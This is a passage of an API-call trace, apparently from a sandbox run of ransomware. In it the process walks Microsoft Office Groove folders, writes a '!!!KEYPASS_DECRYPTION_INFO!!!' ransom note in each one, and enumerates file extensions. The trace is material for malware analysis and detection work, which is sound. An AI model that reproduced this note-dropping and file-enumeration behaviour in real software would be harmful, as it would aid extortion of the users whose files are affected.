WriteFile (in: hFile=0xa4c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0257.428] CloseHandle (hObject=0xa4c) returned 1 [0257.429] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\Verisign\\Components\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x3875ec0 [0257.429] FindNextFileW (in: hFindFile=0x3875ec0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0257.429] FindNextFileW (in: hFindFile=0x3875ec0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0257.429] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\Verisign\\Components\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0257.429] FindNextFileW (in: hFindFile=0x3875ec0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0257.429] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\Verisign\\Components\\VeriSign_Class_3_Code_Signing_2001-4_CA.cer") returned=".cer" [0257.429] FindNextFileW (in: hFindFile=0x3875ec0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0257.429] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\Verisign\\Components\\VeriSign_Class_3_Public_Primary_CA.cer") returned=".cer" [0257.429] FindNextFileW (in: hFindFile=0x3875ec0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0257.429] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\Verisign\\Components\\VS_ComponentSigningIntermediate.cer") returned=".cer" [0257.429] FindNextFileW (in: hFindFile=0x3875ec0, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0257.429] FindNextFileW (in: hFindFile=0x3875e00, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0257.429] FindNextFileW (in: hFindFile=0x3876300, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0257.429] FindNextFileW (in: hFindFile=0x3876440, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0257.429] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0257.429] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0257.429] GetLastError () returned 0x3f0 [0257.430] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0257.430] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0257.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\sounds\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa50 [0257.431] GetFileType (hFile=0xa50) returned 0x1 [0257.431] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0257.431] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0257.431] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0257.432] WriteFile (in: hFile=0xa50, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0257.432] WriteFile (in: hFile=0xa50, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0257.432] CloseHandle (hObject=0xa50) returned 1 [0257.433] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x3876100 [0257.433] FindNextFileW (in: hFindFile=0x3876100, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.433] FindNextFileW (in: hFindFile=0x3876100, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.433] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0257.433] FindNextFileW (in: hFindFile=0x3876100, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.433] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0257.433] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0257.433] GetLastError () returned 0x3f0 [0257.433] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\People\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\People\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0257.433] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\People\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0257.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\People\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\sounds\\people\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa48 [0257.442] GetFileType (hFile=0xa48) returned 0x1 [0257.443] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0257.443] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0257.443] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0257.443] WriteFile (in: hFile=0xa48, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0257.444] WriteFile (in: hFile=0xa48, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0257.444] CloseHandle (hObject=0xa48) returned 1 [0257.444] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\People\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3875d80 [0257.444] FindNextFileW (in: hFindFile=0x3875d80, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0257.444] FindNextFileW (in: hFindFile=0x3875d80, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0257.444] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\People\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0257.444] FindNextFileW (in: hFindFile=0x3875d80, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0257.445] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\People\\COUGH.WAV") returned=".WAV" [0257.445] FindNextFileW (in: hFindFile=0x3875d80, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0257.445] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\People\\GIGGLE.WAV") returned=".WAV" [0257.445] FindNextFileW (in: hFindFile=0x3875d80, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0257.445] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\People\\HICCUP.WAV") returned=".WAV" [0257.445] FindNextFileW (in: hFindFile=0x3875d80, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0257.445] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\People\\MMHMM.WAV") returned=".WAV" [0257.445] FindNextFileW (in: hFindFile=0x3875d80, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0257.445] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\People\\SNEEZE.WAV") returned=".WAV" [0257.445] FindNextFileW (in: hFindFile=0x3875d80, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0257.445] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\People\\THROAT.WAV") returned=".WAV" [0257.445] FindNextFileW (in: hFindFile=0x3875d80, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0257.445] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\People\\Whistling.wav") returned=".wav" [0257.445] FindNextFileW (in: hFindFile=0x3875d80, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0257.445] FindNextFileW (in: hFindFile=0x3876100, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.445] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0257.445] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0257.445] GetLastError () returned 0x3f0 [0257.445] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\Places\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\Places\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0257.445] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\Places\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0257.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\Places\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\sounds\\places\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa54 [0257.538] GetFileType (hFile=0xa54) returned 0x1 [0257.539] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0257.539] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0257.539] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0257.539] WriteFile (in: hFile=0xa54, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0257.540] WriteFile (in: hFile=0xa54, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0257.540] CloseHandle (hObject=0xa54) returned 1 [0257.540] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\Places\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x38764c0 [0257.540] FindNextFileW (in: hFindFile=0x38764c0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0257.540] FindNextFileW (in: hFindFile=0x38764c0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0257.540] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\Places\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0257.540] FindNextFileW (in: hFindFile=0x38764c0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0257.540] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\Places\\ALARM.WAV") returned=".WAV" [0257.540] FindNextFileW (in: hFindFile=0x38764c0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0257.540] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\Places\\BUZZ.WAV") returned=".WAV" [0257.541] FindNextFileW (in: hFindFile=0x38764c0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0257.541] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\Places\\LASER.WAV") returned=".WAV" [0257.541] FindNextFileW (in: hFindFile=0x38764c0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0257.541] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\Places\\RADAR.WAV") returned=".WAV" [0257.541] FindNextFileW (in: hFindFile=0x38764c0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0257.541] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\Places\\TOOT.WAV") returned=".WAV" [0257.541] FindNextFileW (in: hFindFile=0x38764c0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0257.541] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\Places\\VIBE.WAV") returned=".WAV" [0257.541] FindNextFileW (in: hFindFile=0x38764c0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0257.541] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\Places\\WARN.WAV") returned=".WAV" [0257.541] FindNextFileW (in: hFindFile=0x38764c0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0257.541] FindNextFileW (in: hFindFile=0x3876100, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.541] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0257.541] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0257.541] GetLastError () returned 0x3f0 [0257.541] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\Things\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\Things\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0257.541] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\Things\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0257.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\Things\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\sounds\\things\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa5c [0257.584] GetFileType (hFile=0xa5c) returned 0x1 [0257.584] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0257.584] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0257.585] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0257.585] WriteFile (in: hFile=0xa5c, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0257.586] WriteFile (in: hFile=0xa5c, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0257.586] CloseHandle (hObject=0xa5c) returned 1 [0257.586] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\Things\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3876200 [0257.586] FindNextFileW (in: hFindFile=0x3876200, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0257.586] FindNextFileW (in: hFindFile=0x3876200, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0257.586] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\Things\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0257.586] FindNextFileW (in: hFindFile=0x3876200, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0257.586] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\Things\\CAN.WAV") returned=".WAV" [0257.586] FindNextFileW (in: hFindFile=0x3876200, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0257.586] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\Things\\COUPLER.WAV") returned=".WAV" [0257.587] FindNextFileW (in: hFindFile=0x3876200, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0257.587] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\Things\\HORN.WAV") returned=".WAV" [0257.587] FindNextFileW (in: hFindFile=0x3876200, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0257.587] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\Things\\SHOT.WAV") returned=".WAV" [0257.587] FindNextFileW (in: hFindFile=0x3876200, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0257.587] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\Things\\SHOVEL.WAV") returned=".WAV" [0257.587] FindNextFileW (in: hFindFile=0x3876200, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0257.587] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\Things\\SPLASH.WAV") returned=".WAV" [0257.587] FindNextFileW (in: hFindFile=0x3876200, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0257.587] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\Things\\WHOOSH.WAV") returned=".WAV" [0257.587] FindNextFileW (in: hFindFile=0x3876200, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0257.587] FindNextFileW (in: hFindFile=0x3876100, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0257.587] FindNextFileW (in: hFindFile=0x3876440, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0257.587] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0257.587] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0257.587] GetLastError () returned 0x3f0 [0257.587] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0257.587] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0257.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolbmps\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa58 [0257.665] GetFileType (hFile=0xa58) returned 0x1 [0257.665] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0257.665] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0257.665] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0257.665] WriteFile (in: hFile=0xa58, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0257.666] WriteFile (in: hFile=0xa58, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0257.666] CloseHandle (hObject=0xa58) returned 1 [0257.666] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x3876480 [0257.667] FindNextFileW (in: hFindFile=0x3876480, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.676] FindNextFileW (in: hFindFile=0x3876480, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.676] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0257.676] FindNextFileW (in: hFindFile=0x3876480, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.676] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\DataListIconImages.jpg") returned=".jpg" [0257.676] FindNextFileW (in: hFindFile=0x3876480, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.676] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\DataListIconImagesMask.bmp") returned=".bmp" [0257.676] FindNextFileW (in: hFindFile=0x3876480, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.676] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\GRIP.JPG") returned=".JPG" [0257.676] FindNextFileW (in: hFindFile=0x3876480, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.676] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\GRIPMASK.BMP") returned=".BMP" [0257.676] FindNextFileW (in: hFindFile=0x3876480, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.676] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\InformationIcon.jpg") returned=".jpg" [0257.676] FindNextFileW (in: hFindFile=0x3876480, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.676] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\InformationIconMask.bmp") returned=".bmp" [0257.676] FindNextFileW (in: hFindFile=0x3876480, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.676] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\LoginDialogBackground.jpg") returned=".jpg" [0257.676] FindNextFileW (in: hFindFile=0x3876480, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.676] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\LoginTool24x24Images.jpg") returned=".jpg" [0257.676] FindNextFileW (in: hFindFile=0x3876480, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.676] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\LoginTool24x24ImagesMask.bmp") returned=".bmp" [0257.676] FindNextFileW (in: hFindFile=0x3876480, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.676] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\MessageAttachmentIconImages.jpg") returned=".jpg" [0257.677] 